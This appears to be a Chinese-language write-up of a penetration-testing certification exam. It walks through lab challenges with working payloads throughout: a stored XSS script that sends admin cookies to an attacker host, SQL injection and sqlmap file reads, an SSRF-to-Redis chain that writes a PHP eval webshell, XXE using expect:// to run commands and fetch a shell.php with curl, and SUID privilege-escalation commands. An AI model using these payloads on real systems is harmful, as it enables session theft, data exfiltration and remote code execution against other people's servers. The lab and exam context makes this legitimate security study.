pts的考试从报名到考试不到半个月,刷题有基础的很好过,因为很多题如果培训了的话基本上都是原题,但是有些题培训机构也不知道,就比如这次考试,最后一道大题,最里面的服务是nacos,而nacos没exp,尝试了常用的弱口令,没进去就没做了,最有的题只有2个key(20分),如果保证前面的key都获取到了没问题就已经有80分了,只有有70分以上就及格。
讲一下我考试遇到的题
xss+sqli+文件读取,比较简单
xss需要攻击机器用python起web服务,然后插入payload,这里也就是利用存储型xss漏洞写入payload,获取管理员的cookie。
<script>document.write('<img src="http://ip:1234/?cookie='+document.cookie+'" />')</script>
获取到管理员cookie
通过浏览器右键页面-检查
,选择应用
,找到存储-cookie
,替换成管理员的cookie
sqli payload
http://ip:3603/admin/edit.php?id=12312/**/UniOn/**/SeLEct/**/1,2,load_file("/var/key2"),4#
或者sqlmap跑
http://IP:3603/admin/edit.php?id=11 (GET)
# sqlmap.py -u http://10.52.0.29:3603/admin/edit.php?id=11 --cookie=PHPSESSID=732ece3c4dcdba588d48593d689bf927 --dbms mysql --file-read /var/key2
任意文件读取
http://IP:3603/admin/setting.php?page=/tmp/key3
ssrf+redis getshell
ssrf:目录扫描robots.txt,下载backup.zip压缩包,解压得到一个txt文件,会给一个web端口,题目给的搜索框输入http://localhost:1234,获取第一个key
redis getshell:
写webshell
dict://localhost:6379/flushall
dict://localhost:6379/set:1:'<?php eval($_POST[1]);?>'
dict://localhost:6379/config:set:dir:/var/www/html/app1
dict://localhost:6379/config:set:dbfilename:a.php
dict://localhost:6379/save
写私钥
获取第二个key,第三个key在任务计划中
一个xxe漏洞
通过expect写入webshell,expect可执行命令,通过在攻击机起web服务,curl去请求
执行命令
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://id">]><p>&b;</p>
写入shell
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://curl$IFS$9-O$IFS$9'192.168.80.48:8088/shell.php'">]><p>&b;</p>
提权
find / -perm -u=s -type f 2>/dev/null
find 1 -exec 1s /root \;